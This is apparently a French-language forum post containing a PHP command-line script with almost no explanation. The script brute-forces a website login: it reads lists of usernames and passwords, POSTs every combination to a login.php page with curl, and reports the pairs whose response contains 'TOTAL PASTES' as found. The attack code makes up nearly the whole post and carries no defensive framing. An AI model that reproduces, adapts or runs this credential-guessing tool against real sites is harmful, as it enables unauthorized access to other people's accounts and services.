Vous n'êtes pas identifié(e).
Pages :: 1
Je suppose que le script se compose d'insérer deux boîte je modifie pour devenir un composant d'une boîte
<?
set_time_limit(0);
echo"
+----------------+
+----------------+";
echo"
# Enter List User --> ";
$u=trim(fgets(STDIN));
echo"
# Enter password list -->";
$p=trim(fgets(STDIN));
$ci=new sec();
$user1=$ci->getfil($u);
$pwd=$ci->getfil($p);
foreach($user1 as $user){
$user=trim($user);
foreach($pwd as $pass){
$pass=trim($pass);
$m=$ci->b4rut($user,$pass);
if($m){
echo"
[+] Found $user :-> $pass";
}else{
echo"
[-] $user :$pass";
}
}
}
class sec{
public function getfil($name){
$p=explode("\n",file_get_contents($name));
return $p;
}
public function b4rut($user,$pass){
$post=array("submit_hidden"=>"submit_hidden","user_name"=>$user,"user_password"=>$pass,"submit"=>"Login");
$urlv='http://maysiteweb.com/login.php';
$sh = curl_init();
curl_setopt($sh,CURLOPT_RETURNTRANSFER,1);
curl_setopt($sh,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($sh,CURLOPT_URL, $urlv);
curl_setopt($sh,CURLOPT_POSTFIELDS,$post);
$brute = curl_exec($sh);
if(eregi('TOTAL PASTES' , $brute))
{
return true;
}else{
return false;
}
}
}
?>
Dernière modification par anass009 (12-05-2016 21:45:17)
Hors ligne
Pages :: 1